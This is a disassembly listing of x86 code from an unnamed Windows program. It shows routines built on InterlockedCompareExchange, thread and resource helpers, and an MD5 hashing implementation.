--------------------------------------------------------------------------- loc_43343E: ; CODE XREF: ___:00433438j cmp eax, 3 jnz short loc_433451 add esi, 4 push esi call sub_402225 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433451: ; CODE XREF: ___:004333F7j ; ___:004333FDj ... mov eax, 16h loc_433456: ; CODE XREF: ___:0043340Fj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433480: ; CODE XREF: ___:00401AA5j mov eax, [esp+4] push esi test eax, eax jz short loc_4334C1 mov esi, [eax] test esi, esi jz short loc_4334C1 cmp esi, 0FFFFFFFFh jnz short loc_43349B loc_433494: ; CODE XREF: ___:004334A7j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43349B: ; CODE XREF: ___:00433492j push 2 push 1 push esi call dword_50E3EC ; InterlockedCompareExchange dec eax jz short loc_433494 dec eax jz short loc_4334BD dec eax jnz short loc_4334C1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4334BD: ; CODE XREF: ___:004334AAj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4334C1: ; CODE XREF: ___:00433487j ; ___:0043348Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4334F0: ; CODE XREF: ___:00401933j push esi mov esi, [esp+8] test esi, esi jz short loc_433540 mov eax, [esi] test eax, eax jz short loc_433540 cmp eax, 0FFFFFFFFh jnz short loc_433511 push esi call sub_401992 add esp, 4 test eax, eax jnz short loc_433545 loc_433511: ; CODE XREF: ___:00433502j mov esi, [esi] push 1 push 2 push esi call dword_50E3EC ; InterlockedCompareExchange dec eax jz short loc_43353C dec eax jz short loc_433535 dec eax jnz short loc_433540 add esi, 4 push esi call sub_40177B add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_433535: ; CODE XREF: ___:00433522j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43353C: ; CODE XREF: ___:0043351Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433540: ; CODE XREF: ___:004334F7j ; ___:004334FDj ... mov eax, 16h loc_433545: ; CODE XREF: ___:0043350Fj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433570: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43359C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_433597 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_433597: ; CODE XREF: ___:0043358Ej xor eax, eax mov [esi+20h], ecx loc_43359C: ; CODE XREF: ___:00433582j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4335B0 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_43363C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4335D4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4335D4: ; CODE XREF: sub_4335B0+1Bj push edi push esi push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_4335ED mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335ED: ; CODE XREF: sub_4335B0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4335FD mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4335FD: ; CODE XREF: sub_4335B0+41j mov eax, [esi+4] push eax call sub_401640 ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 2FD46BE8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43363C: ; CODE XREF: sub_4335B0+12j pop esi retn sub_4335B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433670 proc near ; CODE XREF: sub_4015FFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433695 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_433695: ; CODE XREF: sub_433670+15j nop call near ptr 2730648h cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4336BE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336BE: ; CODE XREF: sub_433670+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4336DB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4336DB: ; CODE XREF: sub_433670+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_433670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433710 proc near ; CODE XREF: sub_401AA0j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_4337A0 cmp [ebx+0Ch], ebp jz short loc_43377C cmp [ebx+4], ebp jz short loc_43377C lea eax, [ebx+8] push eax call sub_402225 add esp, 4 test eax, eax jnz short loc_43377C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_43376F push edi loc_433743: ; CODE XREF: sub_433710+5Cj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43376A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_43376A: ; CODE XREF: sub_433710+3Ej cmp esi, ebp jnz short loc_433743 pop edi loc_43376F: ; CODE XREF: sub_433710+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_43377C: ; CODE XREF: sub_433710+13j ; sub_433710+18j ... mov eax, [ebx] push eax call near ptr 2730000h nop cmp [ebx+4], ebp jz short loc_433796 lea ecx, [ebx+8] push ecx call sub_40222F add esp, 4 loc_433796: ; CODE XREF: sub_433710+78j push ebx call near ptr 77C2C21Bh nop add esp, 4 loc_4337A0: ; CODE XREF: sub_433710+Aj pop ebp xor eax, eax pop ebx retn sub_433710 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4337E0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_50E3D8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_433804 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_433813 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_433804: ; CODE XREF: sub_4337E0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_433813 mov eax, ebx loc_433813: ; CODE XREF: sub_4337E0+1Aj ; sub_4337E0+2Fj push edi xor edi, edi test esi, esi jz short loc_433875 test eax, eax jz short loc_433862 mov ecx, [esi+4] test ecx, ecx jz short loc_433862 test ebx, ebx jz short loc_433862 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_43384D loc_433837: ; CODE XREF: sub_4337E0+65j cmp [ecx+8], esi jz short loc_433849 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_433837 jmp short loc_43384D ; --------------------------------------------------------------------------- loc_433849: ; CODE XREF: sub_4337E0+5Aj test ecx, ecx jnz short loc_433862 loc_43384D: ; CODE XREF: sub_4337E0+55j ; sub_4337E0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DC5 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_433875 loc_433862: ; CODE XREF: sub_4337E0+3Cj ; sub_4337E0+43j ... mov ecx, [esi] push ebx push ecx call near ptr 2750000h nop test eax, eax jnz short loc_433875 mov edi, 0Bh loc_433875: ; CODE XREF: sub_4337E0+38j ; sub_4337E0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_4337E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4338B0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27B07FFh mov esi, eax call sub_436F5A sub_4338B0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0F1E89051h, 56022ED2h, 0E890D88Bh dd 22ED4AAh, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_433900 proc near ; CODE XREF: sub_401A55j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_433900 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433940 proc near ; CODE XREF: sub_401C12j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_43396B inc dword ptr [esi+14h] loc_43396B: ; CODE XREF: sub_433940+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_4339C9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_434740 lea ecx, [esi+18h] push ecx push esi call sub_433AB0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_4339C5 loc_4339A9: ; CODE XREF: sub_433940+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_433AB0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_4339A9 loc_4339C5: ; CODE XREF: sub_433940+67j xor eax, eax jmp short loc_4339CB ; --------------------------------------------------------------------------- loc_4339C9: ; CODE XREF: sub_433940+41j xor ebp, ebp loc_4339CB: ; CODE XREF: sub_433940+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_434740 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_433940 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433A20 proc near ; CODE XREF: sub_402158j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_434660 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_433A53 mov ecx, 78h loc_433A53: ; CODE XREF: sub_433A20+2Cj sub ecx, eax push ecx push offset aA ; "" push edi call sub_401C12 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C12 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_434660 push 58h push 0 push edi call sub_434770 add esp, 30h pop edi pop esi add esp, 8 retn sub_433A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433AB0 proc near ; CODE XREF: sub_433940+58p ; sub_433940+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4346D0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_434770 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_433AB0 endp ; --------------------------------------------------------------------------- 